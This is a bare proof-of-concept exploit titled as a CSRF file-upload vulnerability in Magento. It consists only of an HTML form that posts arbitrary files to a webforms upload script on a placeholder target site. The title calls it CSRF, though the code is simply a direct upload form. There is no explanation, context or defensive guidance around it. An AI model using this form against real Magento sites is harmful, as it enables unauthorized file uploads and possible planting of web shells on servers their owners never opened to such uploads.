CSRF Magento File Upload Vulnerabilty

<form method="POST" action="https://site.Target.com/js/webforms/upload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>